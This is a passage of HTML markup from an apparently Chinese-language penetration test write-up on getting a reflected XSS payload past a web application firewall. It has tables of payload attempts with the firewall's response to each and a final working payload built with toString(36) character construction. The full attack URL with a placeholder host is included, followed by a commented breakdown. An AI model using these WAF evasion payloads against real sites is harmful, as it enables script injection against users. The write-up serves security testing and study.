3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">Reflect.get(window,&#39;a&#39;)(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">25</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">Reflect.get(1,&#39;a&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">26</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">Reflect.get(this,&#39;a&#39;)(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">27</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">document.defaultView[&#39;a&#39;](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常！</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">28</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">var g=document.defaultView;g[&#39;a&#39;](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常！</span></span></td></tr></tbody></table></figure><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">阶段 6: 函数名构造绕过</span></span></h5><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">###</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">29</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">g[&#39;ale&#39;+&#39;rt&#39;](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">30</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">g[atob(&#39;YWxlcnQ=&#39;)](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">非法请求（WAF 检测到 base64 编码的 alert）</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">31</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">成功！弹出 alert(1)</span></span></strong></td></tr></tbody></table></figure><hr style="box-sizing: content-box;height: 2px;padding: 0px;margin: 16px 0px;background-color: rgb(231, 231, 231);border: 0px;overflow: hidden;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h4 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5. 成功 Payload</span></span></h4><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5.1 最终绕过 Payload</span></span></h5><pre spellcheck="false" lang="javascript" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="javascript" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;;var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)//</span></span></span></pre></p></pre><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5.2 完整 URL</span></span></h5><pre spellcheck="false" lang="" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf=""><a href="http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F" target="_blank">http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F</a></span></span></pre></p></pre><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5.3 绕过原理拆解</span></span></h5><pre spellcheck="false" lang="javascript" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="javascript" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;;                              // 突破 JavaScript 字符串</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);"><span leaf="">var</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 255);"><span leaf="">g</span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">=</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">document</span></span><span leaf="">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">defaultView</span></span><span leaf="">;   </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// 获取 window 对象（避开 window/self/this 关键字）</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">g</span></span><span leaf="">[                              </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// 方括号属性访问</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">  (</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">10</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">) </span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">+</span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// &#39;a&#39;</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">  (</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">21</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">) </span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">+</span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// &#39;l&#39;</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">  (</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">14</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">) </span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">+</span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// &#39;e&#39;</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">  (</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">27</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">) </span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">+</span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// &#39;r&#39;</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">  (</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">29</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">)             </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// &#39;t&#39;</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">]                               </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// → g[&#39;alert&#39;] → window.alert</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">1</span></span><span leaf="">)                             </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// 调用 alert(1)</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">//                              // 注释掉后续代码</span></span></span></pre></p></pre><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5.4 同款变体（反引号语法）</span></span></h5><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">对应知识文件中 line 21 的 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">confirm\</span></code><span style="box-sizing: border-box;"><span leaf="">1</span></span><span style="box-sizing: border-box;"><span leaf="">`</span></span><span style="box-sizing: border-box;"><span leaf="">` 风格：</span></span></p><pre spellcheck="false" lang="javascript" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="javascript" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 